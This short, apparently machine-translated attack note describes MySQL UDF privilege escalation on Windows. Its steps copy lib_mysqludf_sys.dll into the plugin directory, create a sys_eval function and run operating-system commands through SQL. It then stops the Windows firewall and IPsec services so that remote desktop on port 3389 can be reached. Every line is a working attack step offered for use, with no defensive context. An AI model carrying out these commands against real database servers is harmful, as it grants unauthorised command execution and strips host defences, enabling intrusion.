Sqlmap MySQL Udf.dll right

Upload DLL files to any directory, such as: D:/recycler/lib_mysqludf_sys.dll

Import the DLL, import to the Windows or MySQL plug-in directory according to the version (typically execute SELECT @ @plugin_dir to see the plug-in Directory specific path):
Select Load_file (' D:/recycler/lib_mysqludf_sys.dll ') into DumpFile ' C:/windows/lib_mysqludf_sys.dll ' ( Higher version needs to import the plug-in directory of the above query)

Create function:
Create function Sys_eval returns string Soname ' Lib_mysqludf_sys.dll ';

Execute command:
Select Sys_eval (' WhoAmI ');

In general, the creation does not appear unsuccessful.

Not even 3389. You can stop Windows Firewall and filtering first

Select Sys_eval (' net stop policyagent ');
Select Sys_eval (' net stop sharedaccess ');

Sqlmap MySQL Udf.dll right